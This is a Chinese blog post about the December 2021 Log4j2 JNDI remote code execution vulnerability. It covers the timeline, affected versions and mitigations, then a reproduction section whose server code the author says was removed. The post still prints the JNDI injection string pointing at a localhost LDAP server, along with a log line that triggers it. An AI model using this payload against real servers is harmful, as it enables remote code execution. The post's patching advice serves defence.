5 分钟复现 log4J 漏洞,手把手实现

2021-12-18 更新:2.17 版本已经发布,请更新到最新版本。

2021年12月10日凌晨前,网上曝出了 log4j 的核弹级漏洞,这种漏洞超级高危,操作简单,利用方便,适用范围广,可以直接任意代码执行接管你的服务器

此处思考曝光者凌晨曝光的原因,或许选择凌晨曝光,想着无数工程师半夜起来紧急修复,让 TA 产生了变态的快感

我知道你们是想看什么的,就是想看如何演示,不过还是先看下如何修复,提高下安全意识。

0x01. 漏洞情况

Apache Log4j2是一款优秀的Java日志框架。由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置。

这里贴下漏洞公开级别。

漏洞细节 漏洞PoC 漏洞EXP 在野利用
公开 公开 公开 存在

通过网上公开资料,这个漏洞的细节已经完全公开,这里简单演示,让大家了解漏洞情况,尽快安全升级。

根据网络公开新闻,可以梳理出以下时间脉络:

  • 2021年 11 月 24 日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。

  • 2021年12月06日,log4j2 发布修复包 log4j-2.15.0-rc1.jar

  • 2021年12月10日,log4j2 发布修复包 log4j-2.15.0-rc2.jar

  • 2021年12月10日,阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过请及时更新至 Apache Log4j 2.15.0-rc2 版本

实际受影响范围如下

Apache Log4j 2.x < 2.15.0-rc2

0x02. 安全建议

  1. 排查应用是否引入了 Apache log4j-core Jar 包,若存在依赖引入,且在受影响版本范围内,则可能存在漏洞影响。请尽快升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本,地址 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

  2. 升级已知受影响的应用及组件,如 spring-boot-starter-log4j2/Apache Struts2/Apache Solr/Apache Druid/Apache Flink

  3. 临时缓解方案。可升级jdk版本至6u211 / 7u201 / 8u191 / 11.0.1以上,可以在一定程度上限制JNDI等漏洞利用方式。对于大于2.10版本的Log4j,可设置 log4j2.formatMsgNoLookups 为 True,或者将 JndiLookup 类从 classpath 中去除,例如:

 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

0x03. 漏洞复现

以下测试,只做学习分析之用,不要于其他用途!单机演示,所有地址都是 127.0.0.1

本来不准备画图的,但是很多同学以为注入漏洞就是简单的运行网上的 ${jndi:ldap://127.0.0.1:1389/Log4jTest} ,我觉得还是有必要画个图简单说明一下, 一个简单的攻击链路步骤图,画的匆忙见谅。

3.1. 环境模拟 - 受害者小白服务

这里删除了,发布后感觉不太好,可能会被有其他心思的人利用,删除了。想了解的直接微信搜索程序猿阿朗交流,

3.2. 环境模拟 - 攻击者服务

这里删除了,发布后感觉不太好,可能会被有其他心思的人利用,删除了。想了解的直接微信搜索程序猿阿朗交流,

3.3. 测试

受害者小白服务再次运行,原本只简单打印一行日志,现在多了一行说明信息。

无害测试,没有攻击性,linux/mac 创建文本:xxxyyyzzz.txt;windows 弹出计算器。最后求关注,公众号:程序猿阿朗
20:21:57.780 [main] ERROR Log4j2 - params:${jndi:ldap://127.0.0.1:1389/Log4jTest}

同时运行项目目录多了一个文件 xxxyyyzzz.txt

如果你是在 windows 上运行测试,那么会弹出一个计算器。

一如既往,文章中的代码存放在:github.com/niumoo/lab-notes